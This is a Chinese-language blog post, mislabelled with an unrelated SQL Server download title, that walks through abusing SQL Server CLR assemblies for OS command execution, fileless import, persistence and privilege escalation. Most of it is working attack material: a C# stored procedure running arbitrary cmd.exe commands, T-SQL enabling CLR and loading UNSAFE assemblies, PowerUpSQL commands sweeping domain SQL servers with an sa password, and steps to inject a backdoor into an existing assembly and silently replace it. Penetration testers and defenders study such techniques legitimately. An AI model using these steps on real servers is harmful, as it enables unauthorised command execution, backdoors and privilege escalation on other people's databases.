sql server下载(sql server安装教程)

本文中我将以Nathan Krik的CLR系列文章提到的CLRassembly)为基础进行拓展,同时我也会介绍如何创建、导入、导出以及修改SQL Server的CRL库去实现提权、命令执行以及持久化操作

以下是将要涵盖的内容的概述,你也可以跳过这部分内容:

  • 什么是CLR程序集?

  • 为SQL Server制作自定义CLR DLL

  • 将CLR DLL导入SQL Server

  • 将CLR DLL转换为十六进制字符串并在没有文件的情况下导入它

  • 列出现有的CLR存储过程

  • 将现有CLR程序集导出到DLL

  • 在SQL Server中修改导出的CLR DLL并更改现有的CLR程序集

  • 使用自定义CLR 在 SQL Server中提升权限

什么是SQL Server中的自定义CLR程序集?

出于本博客的考虑,我们将公共语言运行时(CLR)程序集定义为可导入SQL Server的.NET DLL(或DLL组),导入后DLL方法可以链接到存储过程并通过 TSQL执行,创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server 原生功能的好方法,但自然也为攻击者创造了机会

如何为SQL Server制作自定义CLR DLL?

下面是基于Nathan Kirk和一些不错的Microsoft文章执行操作系统命令的C# 模板,当然您可以进行任何您想要的修改,但是一旦您完成了将文件保存到\\”c:tempcmd_exec.cs\\”

using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.IO;using System.Diagnostics;using System.Text;
public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @\\\"C:WindowsSystem32cmd.exe\\\"; proc.StartInfo.Arguments = string.Format(@\\\" /C {0}\\\", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start();
// Create the record and specify the metadata for the columns. SqlDataRecord record = new SqlDataRecord(new SqlMetaData(\\\"output\\\", SqlDbType.NVarChar, 4000)); // Mark the beginning of the result set. SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client. SqlContext.Pipe.SendResultsRow(record); // Mark the end of the result set. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); }};

现在的目标是使用csc.exe编译器简单地将\\”c:tempcmd_exec.cs\\”编译为 DLL,即使您没有安装Visual Studio,csc.exe编译器也会默认附带.NET框架,所以它应该在你的Windows系统的某个地方,下面是帮助找到它的 PowerShell命令

Get-ChildItem -Recurse \\\"C:WindowsMicrosoft.NET\\\" -Filter \\\"csc.exe\\\" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

之后您可以使用类似于以下命令的命令将\\”c:tempcmd_exec.cs\\”文件编译为DLL

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs


如何将自定义的CLR DLL导入SQL Server?

要将您的新DLL导入SQL Server,您的SQL登录将需要系统管理员权限、CREATE ASSEMBLY权限或ALTER ASSEMBLY权限,按照以下步骤注册您的 DLL并将其链接到存储过程,以便可以通过TSQL执行cmd_exec方法

以系统管理员身份登录您的SQL Server并发出以下TSQL查询

    -- Select the msdb databaseuse msdb
    -- Enable show advanced options on the serversp_configure \\\'show advanced options\\\',1RECONFIGUREGO
    -- Enable clr on the serversp_configure \\\'clr enabled\\\',1RECONFIGUREGO
    -- Import the assemblyCREATE ASSEMBLY my_assemblyFROM \\\'c:tempcmd_exec.dll\\\'WITH PERMISSION_SET = UNSAFE;
    -- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GO

    现在您应该能够通过\\”msdb\\”数据库中的\\”cmd_exec\\”存储过程执行操作系统命令,如下例所示

    完成后,您可以使用下面的TSQL删除过程和程序集

    DROP PROCEDURE cmd_execDROP ASSEMBLY my_assembly


    如何将自定义的CLR DLL转换为十六进制字符串并在没有文件的情况下将其导入?


    如果您阅读Nathan Kirk的原始博客系列,您已经知道在将CLR程序集导入 SQL Server时不必引用物理DLL,\\”CREATE ASSEMBLY\\”还将接受CLR DLL 文件的十六进制字符串表示,下面是一个PowerShell脚本示例,展示了如何将\\”cmd_exec.dll\\”文件转换为TSQL命令,该命令可用于在没有物理文件引用的情况下创建程序集

    # Target file$assemblyFile = \\\"c:tempcmd_exec.dll\\\"
    # Build top of TSQL CREATE ASSEMBLY statement$stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append(\\\"CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x\\\") | Out-Null
    # Read bytes from file$fileStream = [IO.File]::OpenRead($assemblyFile)while (($byte = $fileStream.ReadByte()) -gt -1) { $stringBuilder.Append($byte.ToString(\\\"X2\\\")) | Out-Null}
    # Build bottom of TSQL CREATE ASSEMBLY statement$stringBuilder.AppendLine(\\\"`nWITH PERMISSION_SET = UNSAFE\\\") | Out-Null$stringBuilder.AppendLine(\\\"GO\\\") | Out-Null$stringBuilder.AppendLine(\\\" \\\") | Out-Null
    # Build create procedure command$stringBuilder.AppendLine(\\\"CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];\\\") | Out-Null$stringBuilder.AppendLine(\\\"GO\\\") | Out-Null$stringBuilder.AppendLine(\\\" \\\") | Out-Null
    # Create run os command$stringBuilder.AppendLine(\\\"EXEC[dbo].[cmd_exec] \\\'whoami\\\'\\\") | Out-Null$stringBuilder.AppendLine(\\\"GO\\\") | Out-Null$stringBuilder.AppendLine(\\\" \\\") | Out-Null
    # Create file containing all commands$stringBuilder.ToString() -join \\\"\\\" | Out-File c:tempcmd_exec.txt

    如果一切顺利,\\”c:tempcmd_exec.tx\\”文件应该包含以下TSQL命令,在示例中十六进制字符串已被截断,但您的字符串应该更长

      -- Select the MSDB databaseUSE msdb
      -- Enable clr on the serverSp_Configure ‘clr enabled’, 1RECONFIGUREGO
      -- Create assembly from ascii hexCREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO
      -- Create procedures from the assembly method cmd_execCREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; GO
      -- Run an OS command as the SQL Server service accountEXEC[dbo].[cmd_exec] \\\'whoami\\\' GO

      当您以系统管理员身份从SQL Server中的\\”c:tempcmd_exec.txt\\”文件运行 TSQL时,输出应如下所示

      sql server下载(sql server安装教程)


      PowerUpSQL自动化

      如果您之前没有使用过 PowerUpSQL,您可以访问此处的设置页面

      我创建了一个名为\\”Create-SQLFileCLRDll\\”的PowerUpSQL函数来动态创建类似的DLL和TSQL脚本,它还支持用于设置自定义程序集名称、类名称、方法名称和存储过程名称的选项,如果没有指定,那么它们都是随机的,下面是一个基本的命令示例:

      PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:tempC# File: c:tempruncmd.cscCLR DLL: c:tempruncmd.dllSQL Cmd: c:tempruncmd.txt

      下面是一个用于生成10个示例CLR DLL / CREATE ASSEMBLY TSQL脚本的简短脚本,在实验室中使用CLR程序集时,它可以派上用场

      1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

      如何列出现有的CLR程序集和CLR存储过程?

      您可以使用下面的TSQL查询来验证您的CLR程序集是否设置正确,或者开始寻找现有的用户定义的CLR程序集

      注意:这是我在这里找到的一些代码的修改版本

      USE msdb;SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name],             af.file_id,                                      af.name + \\\'.dll\\\' as [file_name],            asmbly.clr_name,            asmbly.assembly_id,                       asmbly.name AS [assembly_name],             am.assembly_class,            am.assembly_method,            so.object_id as [sp_object_id],            so.name AS [sp_name],            so.[type] as [sp_type],            asmbly.permission_set_desc,            asmbly.create_date,            asmbly.modify_date,            af.content                                           FROM        sys.assembly_modules amINNER JOIN  sys.assemblies asmblyON          asmbly.assembly_id = am.assembly_idINNER JOIN  sys.assembly_files af ON         asmbly.assembly_id = af.assembly_id INNER JOIN  sys.objects soON          so.[object_id] = am.[object_id]

      通过此查询我们可以看到文件名、程序集名称、程序集类名称、程序集方法以及该方法映射到的存储过程

      sql server下载(sql server安装教程)

      您应该在结果中看到\\”my_assembly\\”,如果您运行我之前提供的\\”Create-SQLFileCLRDll\\”命令生成的10个TSQL查询,那么您还将看到这些程序集的相关程序集信息

      PowerUpSQL自动化

      我在PowerUpSQL中为此添加了一个名为\\”Get-SQLStoredProcedureCLR\\’的函数,它将遍历可访问的数据库并为每个数据库提供程序集信息,下面是一个命令示例

      Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password \\\'sapassword!\\\' | Out-GridView

      您还可以使用以下命令对所有域SQL Server执行它(前提是您具有正确的权限)

      Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password \\\'sapassword!\\\' | Format-Table -AutoSize

      映射过程参数

      攻击者并不是唯一创建不安全程序集的人,有时开发人员会创建执行OS命令或与操作系统资源交互的程序集,因此定位和逆向这些程序集有时会导致权限提升错误,例如如果我们的程序集已经存在,我们可以尝试确定它接受的参数以及如何使用它们,只是为了好玩,让我们使用下面的查询来盲目地确定\\”cmd_exec\\”存储过程需要哪些参数

        SELECT            pr.name as procname,                        pa.name as param_name,                         TYPE_NAME(system_type_id) as Type,                        pa.max_length,                         pa.has_default_value,                        pa.is_nullable FROM             sys.all_parameters paINNER JOIN         sys.procedures pr on pa.object_id = pr.object_idWHERE             pr.type like \\\'pc\\\' and pr.name like \\\'cmd_exec\\\'

        sql server下载(sql server安装教程)

        在这个例子中,我们可以看到它只接受一个名为\\”execCommand\\”的字符串参数,针对存储过程的攻击者可能能够确定它可用于操作系统命令执

        如何将SQL Server中存在的CLR程序集导出到DLL?

        简单地测试现有CLR组装过程的功能并不是我们寻找升级路径的唯一选择,在 SQL Server中我们还可以将用户定义的CLR程序集导出回DLL, 说说从CLR识别到CLR源码吧!首先我们必须识别程序集,将它们导出回DLL,然后对它们进行反编译,以便分析它们的问题(或修改它们以注入后门)

        PowerUpSQL 自动化

        在上一节中我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集

        Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password \\\'sapassword!\\\' | Format-Table -AutoSize

        相同的功能支持\\”ExportFolder\\”选项,如果您设置它,该函数会将程序集 DLL导出到该文件夹,下面是一个示例命令和示例输出

        Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password \\\'sapassword!\\\' | Format-Table -AutoSize

        sql server下载(sql server安装教程)

        同样如果您是域用户和系统管理员,还可以使用以下命令大规模导出CLR DLL

        Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password \\\'sapassword!\\\' -ExportFolder c:temp | Format-Table -AutoSize

        DLL可以在输出文件夹中找到,该脚本将根据每个服务器名称、实例和数据库名称动态构建文件夹结构

        sql server下载(sql server安装教程)

        现在您可以使用您喜欢的反编译器查看源代码,在过去的一年里我成为了 dnSpy的忠实粉丝,阅读下一节后,您将知道原因

        如何修改CLR DLL并覆盖已导入SQL Server的程序集?

        下面简要概述了如何使用dnSpy反编译、查看、编辑、保存和重新导入现有 SQL Server CLR DLL,您可以从这里下载dnSpy

        https://github.com/dnSpy/dnSpy/releases

        对于本练习我们将修改之前从SQL Server导出的cmd_exec.dll

        1、在dnSpy中打开cmd_exec.dll文件,在左侧面板中向下钻取直到找到\\”cmd_exec\\”方法并选择它,这将立即允许您查看源代码并开始寻找错误

        sql server下载(sql server安装教程)

        2、接下来右键单击包含源代码的右侧面板,然后选择\\”Edit Method (C#)…\\”

        sql server下载(sql server安装教程)

        3、根据需要编辑代码,然而在这个例子中,我添加了一个简单的\\”后门\\”,每次调用\\”cmd_exec\\”方法时都会向\\”c:temp\\”目录添加一个文件,示例代码和屏幕截图如下

        [SqlProcedure]public static void cmd_exec(SqlString execCommand){    Process expr_05 = new Process();    expr_05.StartInfo.FileName = \\\"C:WindowsSystem32cmd.exe\\\";    expr_05.StartInfo.Arguments = string.Format(\\\" /C {0}\\\", execCommand.Value);    expr_05.StartInfo.UseShellExecute = true;    expr_05.Start();    expr_05.WaitForExit();    expr_05.Close();    Process expr_54 = new Process();    expr_54.StartInfo.FileName = \\\"C:WindowsSystem32cmd.exe\\\";    expr_54.StartInfo.Arguments = string.Format(\\\" /C \\\'whoami > c:tempclr_backdoor.txt\\\", execCommand.Value);    expr_54.StartInfo.UseShellExecute = true;    expr_54.Start();    expr_54.WaitForExit();    expr_54.Close();}

        sql server下载(sql server安装教程)

        4、单击编译按钮保存修补的代码,然后从顶部菜单中选择文件,保存模块,然后点击确定

        sql server下载(sql server安装教程)

        根据Microsoft文章,每次编译CLR时,都会生成一个唯一的GUID并将其嵌入文件头中,以便\\”区分同一文件的两个版本\\”,这称为MVID(模块版本 ID),要覆盖已导入SQL Server的现有CLR,我们必须手动更改MVID,下面是一个概述

        a、如果尚未打开,请在dnspy中打开\\”cmd_exec\\”,然后深入到PE部分并选择\\”#GUID\\”存储流,然后右键单击它并选择\\”在十六进制编辑器中显示数据\\”

        sql server下载(sql server安装教程)

        b、接下来您所要做的就是用任意值修改所选字节之一

        sql server下载(sql server安装教程)

        c、从顶部菜单中选择文件,然后选择“保存模块…”

        PowerShell自动化


        您可以使用我之前提供的原始 PowerShell命令,也可以使用下面的 PowerUPSQL 命令示例从新修改的\\”cmd_exec.dll\\”文件中获取十六进制字节并生成 ALTER语句

        PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dllVERBOSE: Target C#  File: NAVERBOSE: Target DLL File: .cmd_exec.dllVERBOSE: Grabbing bytes from the dllVERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txtC# File: NACLR DLL: .cmd_exec.dllSQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

        新的cmd_exec.txt应该类似于下面的语句

        -- Choose the msdb databaseuse msdb-- Alter the existing CLR assemblyALTER ASSEMBLY [my_assembly] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO

        ALTER 语句用于替换现有的CLR,而不是DROP和CREATE,正如微软所说\\”ALTER ASSEMBLY不会中断正在修改的程序集中运行代码的当前正在运行的会话,当前会话通过使用程序集的未更改位来完成执行\\”, TSQL查询执行应该类似于下面的屏幕截图

        我可以使用自定义CLR在SQL Server中提升权限吗?


        简短的回答是肯定的,但是必须首先满足一些不太可能的条件

        如果您的SQL Server登录名不是系统管理员,但具有CREATE或ALTER ASSEMBLY权限则您可以使用自定义CLR获得系统管理员权限,该CLR在 SQL Server服务帐户的上下文下执行操作系统命令(通过默认),但是要成功,您在其中创建CLR程序集的数据库必须将\\”is_trustworthy\\”标志设置为\\”1\\”,并打开\\”clr enabled\\”服务器设置,默认情况下,只有msdb数据库是可信任的,并且禁用了\\”启用clr\\”设置

        我从未见过明确分配给SQL登录名的CREATE或ALTER ASSEMBLY权限,但是我已经看到将应用程序SQL登录添加到\\”db_ddladmin\\”数据库角色并且确实具有\\”ALTER ASSEMBLY\\”权限

        注意:SQL Server 2017 引入了\\”clr strict security\\”配置,Microsoft文档指出需要禁用该设置才能允许创建UNSAFE或EXTERNAL程序集

        原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34215.html

        (0)
        七芒星实验室's avatar七芒星实验室
        上一篇 2024年4月13日 上午8:22
        下一篇 2024年4月13日 上午8:24

        相关推荐

        发表回复

        您的邮箱地址不会被公开。 必填项已用 * 标注